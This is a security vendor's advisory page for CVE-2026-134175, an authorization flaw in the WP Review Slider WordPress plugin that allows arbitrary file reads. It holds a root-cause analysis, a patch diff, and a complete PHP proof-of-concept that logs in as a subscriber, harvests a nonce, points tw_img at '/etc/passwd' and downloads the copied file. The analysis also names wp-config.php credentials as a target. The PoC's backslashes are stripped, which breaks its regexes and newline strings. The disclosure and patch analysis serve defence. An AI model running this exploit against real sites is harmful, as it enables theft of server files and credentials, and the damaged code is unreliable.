Published : November 28, 2026

CVE-2026-134175: WP Review Slider <= 15.5 Missing Authorization to Authenticated (Subscriber+) Arbitrary File Read via 'wprp_twitter_savetweet' and 'wpfb_avatar_tolocal' AJAX Actions PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 15.5
Patched Version 15.6
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-134175:

The WP Review Slider plugin for WordPress (versions up to and including 15.5) contains a missing authorization vulnerability in the wprp_twitter_savetweet and wpfb_avatar_tolocal AJAX handlers. A logged-in attacker with Subscriber-level access can exploit this to read arbitrary files from the server by supplying a local filesystem path in the tw_img parameter, which the plugin later copies into a public uploads directory. The CVSS score is 5.3.

Paragraph 2 – Root Cause: The root cause is the absence of a current_user_can capability check in the AJAX handlers. In wp-facebook-reviews/admin/class-wp-fb-reviews-admin.php, the wprp_twitter_savetweet_ajax() function (around line 1579) calls check_ajax_referer(‘randomnoncestring’, ‘wpfb_nonce’) but does not verify user capabilities. The nonce action ‘randomnoncestring’ is shared with the companion WP Google Review Slider plugin, which outputs it on every front-end page, making it obtainable by any logged-in user. The tw_img parameter is sanitized with sanitize_text_field, which does not prevent local file paths. The value is stored and later used in wpfb_avatar_tolocal_ajax() (around line 1036) where it is passed to copy($userpic, $newfile) (line 1070 region). The destination filename is built from reviewer_id and created_time_stamp without adequate sanitization, allowing an attacker to control the output filename. Similarly, the wprp_twitter_savetweet_ajax() function processes the tw_img parameter directly.

Paragraph 3 – Exploitation: An authenticated attacker with Subscriber access first obtains a valid nonce from any front-end page (when the companion plugin is active). The attacker then sends a POST request to /wp-admin/admin-ajax.php with action=wprp_twitter_savetweet, wpfb_nonce=, tw_img=/etc/passwd (or another local file path), and other required parameters such as tw_id, tw_sname, tw_rc, tw_fc, tw_time, tw_name, tw_lang, fid. The handler saves the tweet data, including the local path. Next, the attacker triggers the wpfb_avatar_tolocal action (action=wpfb_avatar_tolocal) with the same nonce, which processes the stored review, copies the file from the local path into the uploads directory under a predictable name (e.g., timestamp_reviewerid), and stores the public URL in the database. The attacker can then access the copied file via a direct URL to read its contents. Alternatively, the attacker can directly use the wpfb_avatar_tolocal action if they can control the userpic field via other means.

Paragraph 4 – Patch Analysis: The patch adds a current_user_can(‘manage_options’) check to all relevant AJAX handlers (wprp_twitter_savetweet_ajax, wpfb_avatar_tolocal_ajax, wprp_twitter_gettweets_ajax, wprp_twitter_deltweet_ajax), returning a 403 error for unauthorized users. It also validates the tw_img parameter to ensure it is a valid http or https URL using esc_url_raw with allowed protocols and a regex check. In wpfb_avatar_tolocal_ajax, the patch replaces the unsafe copy() and cURL fallback with wp_safe_remote_get() after validating the URL with wp_http_validate_url(), and it verifies the downloaded file is an image using wpfb_is_image_file() before processing. The newfilename is sanitized with sanitize_file_name and a regex to remove dangerous characters. Additionally, the patch improves input sanitization in the review saving loop and replaces stripslashes with wp_kses_post/wp_kses for output escaping in template_style_1.php. Version numbers are bumped to 15.6.

Paragraph 5 – Impact: Successful exploitation allows an authenticated attacker with Subscriber-level access to read arbitrary files on the server, including sensitive files such as wp-config.php, which contains database credentials and authentication keys. This can lead to full site compromise, data exfiltration, and further attacks such as privilege escalation or remote code execution if the attacker can read and then manipulate other files. The vulnerability also enables the attacker to write files to the uploads directory, potentially leading to stored XSS or other attacks if the copied file is not properly sanitized.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-facebook-reviews/admin/class-wp-fb-reviews-admin.php
+++ b/wp-facebook-reviews/admin/class-wp-fb-reviews-admin.php
@@ -899,9 +899,7 @@
 			wp_die();
 		}

-		$postreviewarray = $_POST['postreviewarray'];
-
-		//var_dump($postreviewarray);
+		$postreviewarray = isset( $_POST['postreviewarray'] ) && is_array( $_POST['postreviewarray'] ) ? wp_unslash( $_POST['postreviewarray'] ) : array();

 		//loop through each one and insert in to db
 		global $wpdb;
@@ -911,36 +909,37 @@
 		$seen_keys = array();

 		foreach($postreviewarray as $item) { //foreach element in $arr
-			if ( empty( $item['pageid'] ) || empty( $item['created_time'] ) ) {
+			if ( ! is_array( $item ) || empty( $item['pageid'] ) || empty( $item['created_time'] ) ) {
 				continue;
 			}

-			$pageid = $item['pageid'];
-			$pagename = $item['pagename'];
-			$created_time = $item['created_time'];
+			// Review fields come from Facebook users, so store them as plain text only.
+			$pageid = sanitize_text_field( $item['pageid'] );
+			$pagename = isset( $item['pagename'] ) ? sanitize_text_field( $item['pagename'] ) : '';
+			$created_time = sanitize_text_field( $item['created_time'] );
 			$created_time_stamp = strtotime( $created_time );
 			if ( false === $created_time_stamp ) {
 				continue;
 			}
-			$reviewer_name = $item['reviewer_name'];
-			$reviewer_id = $item['reviewer_id'];
-			$reviewer_imgurl = $item['reviewer_imgurl'];
-			if(isset($item['rating'])){
-				$rating = $item['rating'];
+			$reviewer_name = isset( $item['reviewer_name'] ) ? sanitize_text_field( $item['reviewer_name'] ) : '';
+			$reviewer_id = isset( $item['reviewer_id'] ) ? sanitize_text_field( $item['reviewer_id'] ) : '';
+			$reviewer_imgurl = isset( $item['reviewer_imgurl'] ) ? esc_url_raw( $item['reviewer_imgurl'] ) : '';
+			if ( isset( $item['rating'] ) && '' !== $item['rating'] ) {
+				$rating = min( 5, absint( $item['rating'] ) );
 			} else {
 				$rating ="";
 			}
-			if(isset($item['recommendation_type']) && $item['recommendation_type']){
+			if ( isset( $item['recommendation_type'] ) && in_array( $item['recommendation_type'], array( 'positive', 'negative' ), true ) ) {
 				$recommendation_type = $item['recommendation_type'];
 			} else {
 				$recommendation_type ="";
 			}
-			$review_text = $item['review_text'];
+			$review_text = isset( $item['review_text'] ) ? sanitize_textarea_field( $item['review_text'] ) : '';
 			$review_length = str_word_count($review_text);
 			if($review_length <1 && $review_text !=""){		//fix for other language error
 				$review_length = substr_count($review_text, ' ');
 			}
-		$rtype = $item['type'];
+		$rtype = isset( $item['type'] ) ? sanitize_text_field( $item['type'] ) : 'Facebook';

 		$dedup_key = $pageid . '|' . $reviewer_id . '|' . $created_time_stamp;
 		if ( isset( $seen_keys[ $dedup_key ] ) ) {
@@ -1037,7 +1036,14 @@

 		//being called from js file after all reviews are downloaded.
 		check_ajax_referer('randomnoncestring', 'wpfb_nonce');
+		// Security: the nonce is shared with other plugins and shown to logged-in visitors.
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( 'Unauthorized access', 403 );
+		}
 		$img_locations_option = json_decode(get_option( 'wprev_img_locations' ),true);
+		if ( ! is_array( $img_locations_option ) || empty( $img_locations_option['upload_dir_wprev_avatars'] ) ) {
+			wp_die();
+		}
 		$imageuploadedir =$img_locations_option['upload_dir_wprev_avatars'];

 		//$imagecachedir = plugin_dir_path( __DIR__ ).'/public/partials/avatars/';
@@ -1052,7 +1058,9 @@
 			//$review->id
 			$id= $review->id;
 			$revid = $review->reviewer_id;
-			$newfilename = $review->created_time_stamp.'_'.$revid;
+			// Security: reviewer_id comes from the review source, so it must not be able to
+			// add directories or change the extension.
+			$newfilename = sanitize_file_name( intval( $review->created_time_stamp ).'_'.preg_replace( '/[^A-Za-z0-9_-]/', '', (string) $revid ) );


 			//$newfile = $imagecachedir . $newfilename.'.jpg';
@@ -1062,37 +1070,29 @@

 			//echo $newfile;

+			// A file here that is not an image was not made by this plugin (for example a
+			// server file copied in by an older version), so remove it.
+			if ( is_file( $newfile ) && ! $this->wpfb_is_image_file( $newfile ) ) {
+				wp_delete_file( $newfile );
+			}
+
 			//$userpic = $review->userpic;
 			$userpic = htmlspecialchars_decode($review->userpic);
 			//check for avatar
 			if(@filesize($newfile)<200){
-				if($userpic!=''){
-					if ( @copy($userpic, $newfile) ) {
-						//echo "Copy success!";
-						$this->wppro_resizeimage($newfile,60);
-						//update db with new image location, userpiclocal
-						$wpdb->query( $wpdb->prepare("UPDATE $table_name SET userpiclocal = '$newfileurl' WHERE id = %d AND reviewer_id = %s",$id, $revid) );
-					} else {
-						//echo "Copy failed.";
-						//try to curl the image
-						if (function_exists('curl_init')) {
-							$fh = @fopen($newfile, 'w');
-							if ($fh) {
-								$curl = curl_init();
-								curl_setopt($curl, CURLOPT_URL, $userpic);
-								curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
-								$result = curl_exec($curl);
-								if ($result !== false) {
-									fwrite($fh, $result);
-								}
-								fclose($fh);
-								curl_close($curl);
-
-								if ( is_file($newfile) ) {
-									//$this->wppro_resizeimage($newfile,60);
-									//update db with new image location, userpiclocal
-									$wpdb->query( $wpdb->prepare("UPDATE $table_name SET userpiclocal = %s WHERE id = %d AND reviewer_id = %s",$newfileurl,$id, $revid) );
-								}
+				// Security: only download public http(s) URLs. Local paths and other
+				// stream wrappers would copy server files into the public uploads folder.
+				if ( $userpic != '' && wp_http_validate_url( $userpic ) ) {
+					$response = wp_safe_remote_get( $userpic, array( 'timeout' => 15 ) );
+					if ( ! is_wp_error( $response ) && 200 === (int) wp_remote_retrieve_response_code( $response ) ) {
+						$body = wp_remote_retrieve_body( $response );
+						if ( '' !== $body && false !== @file_put_contents( $newfile, $body ) ) {
+							if ( $this->wpfb_is_image_file( $newfile ) ) {
+								$this->wppro_resizeimage($newfile,60);
+								//update db with new image location, userpiclocal
+								$wpdb->query( $wpdb->prepare("UPDATE $table_name SET userpiclocal = %s WHERE id = %d AND reviewer_id = %s",$newfileurl,$id, $revid) );
+							} else {
+								wp_delete_file( $newfile );
 							}
 						}
 					}
@@ -1100,7 +1100,7 @@
 			} else {
 					//echo "image exists:".$newfile;
 					//image does exist, just update db with this filename
-					$wpdb->query( $wpdb->prepare("UPDATE $table_name SET userpiclocal = '$newfileurl' WHERE id = %d AND reviewer_id = %s",$id, $revid) );
+					$wpdb->query( $wpdb->prepare("UPDATE $table_name SET userpiclocal = %s WHERE id = %d AND reviewer_id = %s",$newfileurl,$id, $revid) );
 			}
 			//--------------------------
 			//do another check in case copy failed.
@@ -1114,6 +1114,17 @@
 	}

 	/**
+	 * Whether a file on disk is a real image.
+	 *
+	 * @param string $file Absolute file path.
+	 * @return bool
+	 */
+	private function wpfb_is_image_file( $file ) {
+		$size = function_exists( 'wp_getimagesize' ) ? wp_getimagesize( $file ) : @getimagesize( $file );
+		return is_array( $size ) && ! empty( $size[0] ) && ! empty( $size[1] );
+	}
+
+	/**
 	 * adds drop down menu of templates on post edit screen
 	 * @access  public
 	 * @since   1.0.0
@@ -1415,6 +1426,9 @@
 	public function wprp_twitter_gettweets_ajax() {

 		check_ajax_referer('randomnoncestring', 'wpfb_nonce');
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( 'Unauthorized access', 403 );
+		}
 		$searchquery = sanitize_text_field($_POST['query']);
 		$searchendpoint = sanitize_text_field($_POST['endpoint']);
 		$formid = sanitize_text_field($_POST['fid']);
@@ -1565,6 +1579,9 @@
 	//for saving or deleting tweets in db
 	public function wprp_twitter_savetweet_ajax() {
 		check_ajax_referer('randomnoncestring', 'wpfb_nonce');
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( 'Unauthorized access', 403 );
+		}

 		$resultarray = array();
 		$saveordel =  sanitize_text_field($_POST['saveordel']);
@@ -1574,10 +1591,15 @@
 		$tw_rc = sanitize_text_field($_POST['tw_rc']);
 		$tw_fc = sanitize_text_field($_POST['tw_fc']);
 		$tw_time = sanitize_text_field($_POST['tw_time']);
-		$tw_id = sanitize_text_field($_POST['tw_id']);
-		$tw_sname = sanitize_text_field($_POST['tw_sname']);
+		// X post IDs are numeric and handles are letters, digits and underscores.
+		$tw_id = preg_replace( '/[^0-9]/', '', sanitize_text_field($_POST['tw_id']) );
+		$tw_sname = preg_replace( '/[^A-Za-z0-9_]/', '', sanitize_text_field($_POST['tw_sname']) );
 		$tw_name = sanitize_text_field($_POST['tw_name']);
-		$tw_img = sanitize_text_field($_POST['tw_img']);
+		// Security: the avatar is downloaded later, so only accept a web URL here.
+		$tw_img = esc_url_raw( wp_unslash( $_POST['tw_img'] ), array( 'http', 'https' ) );
+		if ( ! preg_match( '#^https?://#i', $tw_img ) ) {
+			$tw_img = '';
+		}
 		$tw_lang = sanitize_text_field($_POST['tw_lang']);

 		$fid = sanitize_text_field($_POST['fid']);
@@ -1670,6 +1692,9 @@
 	//to delete tweet via ajax
 	public function wprp_twitter_deltweet_ajax() {
 		check_ajax_referer('randomnoncestring', 'wpfb_nonce');
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( 'Unauthorized access', 403 );
+		}
 		$tw_id = sanitize_text_field($_POST['tw_id']);

 		global $wpdb;
--- a/wp-facebook-reviews/includes/class-wp-fb-reviews-block.php
+++ b/wp-facebook-reviews/includes/class-wp-fb-reviews-block.php
@@ -73,7 +73,7 @@
 			return;
 		}

-		$public = new WP_FB_Reviews_Public( 'wp-fb-reviews', '15.5' );
+		$public = new WP_FB_Reviews_Public( 'wp-fb-reviews', '15.6' );
 		$public->enqueue_styles();
 		$public->enqueue_scripts();

@@ -98,7 +98,7 @@
 		$path = wpfbrev_plugin_dir . ltrim( $relative, '/' );
 		$time = file_exists( $path ) ? filemtime( $path ) : false;

-		return $time ? (string) $time : '15.5';
+		return $time ? (string) $time : '15.6';
 	}

 	/**
--- a/wp-facebook-reviews/includes/class-wp-fb-reviews.php
+++ b/wp-facebook-reviews/includes/class-wp-fb-reviews.php
@@ -78,7 +78,7 @@
 	public function __construct() {

 		$this->_token = 'wp-fb-reviews';
-		$this->version = '15.5';
+		$this->version = '15.6';
 		//using this for development
 		//$this->version = time();

--- a/wp-facebook-reviews/public/partials/template_style_1.php
+++ b/wp-facebook-reviews/public/partials/template_style_1.php
@@ -232,11 +232,11 @@
 		<div class="wprevpro_t1_DIV_1<?php if(	$currentform[0]->template_type=="widget"){echo ' marginb10';}?> w3_wprs-col l<?php echo $perrow; ?>">
 			<div class="wprevpro_t1_DIV_2 indrevdiv wprev_preview_tcolor1_T<?php echo $currentform[0]->style; ?>  wprev_preview_bg1_T<?php echo $currentform[0]->style; ?><?php if($iswidget){echo "_widget";} ?> wprev_preview_bradius_T<?php echo $currentform[0]->style; ?><?php if($iswidget){echo "_widget";} ?>">
 				<p class="wprevpro_t1_P_3 wprev_preview_tcolor1_T<?php echo $currentform[0]->style; ?><?php if($iswidget){echo "_widget";} ?>">
-					<span class="wprevpro_star_imgs_T<?php echo $currentform[0]->style; ?><?php if($iswidget){echo "_widget";} ?>"><?php echo $starhtml; ?></span><?php echo $verifiedhtml; ?><?php echo stripslashes($reviewtext); ?>
+					<span class="wprevpro_star_imgs_T<?php echo $currentform[0]->style; ?><?php if($iswidget){echo "_widget";} ?>"><?php echo $starhtml; ?></span><?php echo $verifiedhtml; ?><?php echo wp_kses_post( wp_unslash( $reviewtext ) ); ?>
 				</p>
 				<?php echo $media; ?>
 				<?php echo $yelp_logo; ?>
-			</div><span class="wprevpro_t1_A_8"><?php echo $userpichtml; ?></span> <span class="wprevpro_t1_SPAN_5 wprev_preview_tcolor2_T<?php echo $currentform[0]->style; ?><?php if($iswidget){echo "_widget";} ?>"><?php echo stripslashes($tempreviewername); ?><br/><span class="wprev_showdate_T<?php echo $currentform[0]->style; ?><?php if($iswidget){echo "_widget";} ?>"><?php echo $datehtml; ?></span> </span>
+			</div><span class="wprevpro_t1_A_8"><?php echo $userpichtml; ?></span> <span class="wprevpro_t1_SPAN_5 wprev_preview_tcolor2_T<?php echo $currentform[0]->style; ?><?php if($iswidget){echo "_widget";} ?>"><?php echo wp_kses( wp_unslash( $tempreviewername ), array( 'div' => array( 'class' => true ), 'a' => array( 'href' => true, 'rel' => true, 'target' => true, 'class' => true ) ) ); ?><br/><span class="wprev_showdate_T<?php echo $currentform[0]->style; ?><?php if($iswidget){echo "_widget";} ?>"><?php echo $datehtml; ?></span> </span>
 		</div>
 	<?php
 	}
--- a/wp-facebook-reviews/wp-fb-reviews.php
+++ b/wp-facebook-reviews/wp-fb-reviews.php
@@ -16,7 +16,7 @@
  * Plugin Name:       WP Review Slider
  * Plugin URI:        https://wpreviewslider.com/
  * Description:       Facebook reviews & X (Twitter) posts in a WordPress review slider or grid. Official Facebook API + X API v2. Saved locally for fast social proof.
- * Version:           15.5
+ * Version:           15.6
  * Author:            LJ Apps
  * Author URI:        http://ljapps.com/
  * License:           GPL-2.0+

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-134175 - WP Review Slider <= 15.5 - Missing Authorization to Authenticated (Subscriber+) Arbitrary File Read via 'wprp_twitter_savetweet' and 'wpfb_avatar_tolocal' AJAX Actions

$target_url = 'http://example.com'; // WordPress site URL
$username = 'subscriber'; // Subscriber username
$password = 'password'; // Subscriber password
$file_to_read = '/etc/passwd'; // File to read (adjust for target OS)

// Initialize cURL
$ch = curl_init();

// Step 1: Log in as subscriber and get cookies
$login_url = $target_url . '/wp-login.php';
$post_fields = http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);

if (strpos($login_response, 'Dashboard') === false) {
    die('Login failed. Check credentials.n');
}
echo "Logged in successfully.n";

// Step 2: Get a nonce from the front-end page (requires companion plugin active)
$frontend_url = $target_url . '/';
curl_setopt($ch, CURLOPT_URL, $frontend_url);
curl_setopt($ch, CURLOPT_POST, false);
$frontend_response = curl_exec($ch);

// Extract nonce using regex (adjust pattern based on plugin output)
preg_match('/wpfb_nonce["']?s*[:=]s*["']([a-f0-9]+)["']/', $frontend_response, $matches);
if (empty($matches[1])) {
    // Try alternative pattern
    preg_match('/vars+wpfb_nonces*=s*["']([a-f0-9]+)["']/', $frontend_response, $matches);
}
if (empty($matches[1])) {
    die('Nonce extraction failed. Ensure WP Google Review Slider is active and outputs nonce.n');
}
$nonce = $matches[1];
echo "Nonce obtained: $noncen";

// Step 3: Save a tweet with malicious tw_img pointing to local file
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = [
    'action' => 'wprp_twitter_savetweet',
    'wpfb_nonce' => $nonce,
    'saveordel' => 'save',
    'tw_rc' => '1',
    'tw_fc' => '1',
    'tw_time' => '1234567890',
    'tw_id' => '1234567890',
    'tw_sname' => 'test',
    'tw_name' => 'Test User',
    'tw_img' => $file_to_read,
    'tw_lang' => 'en',
    'fid' => '1'
];

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$save_response = curl_exec($ch);
echo "Save tweet response: $save_responsen";

// Step 4: Trigger avatar local copy via wpfb_avatar_tolocal action
$post_data = [
    'action' => 'wpfb_avatar_tolocal',
    'wpfb_nonce' => $nonce
];

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$avatar_response = curl_exec($ch);
echo "Avatar local response: $avatar_responsen";

// Step 5: The file should now be copied to uploads directory. Need to determine the URL.
// Typically uploads dir is /wp-content/uploads/wp-fb-reviews/avatars/ and filename is timestamp_reviewerid.
// For example: /wp-content/uploads/wp-fb-reviews/avatars/1234567890_1234567890
// Fetch the copied file
$upload_dir = '/wp-content/uploads/wp-fb-reviews/avatars/';
// Extract timestamp and reviewer_id from save response or use known values
$timestamp = '1234567890';
$reviewer_id = '1234567890';
$file_url = $target_url . $upload_dir . $timestamp . '_' . $reviewer_id;

curl_setopt($ch, CURLOPT_URL, $file_url);
curl_setopt($ch, CURLOPT_POST, false);
$file_content = curl_exec($ch);
if ($file_content !== false) {
    echo "File content retrieved:n$file_contentn";
} else {
    echo "Failed to retrieve file. Check if copy succeeded and filename is correct.n";
}

curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.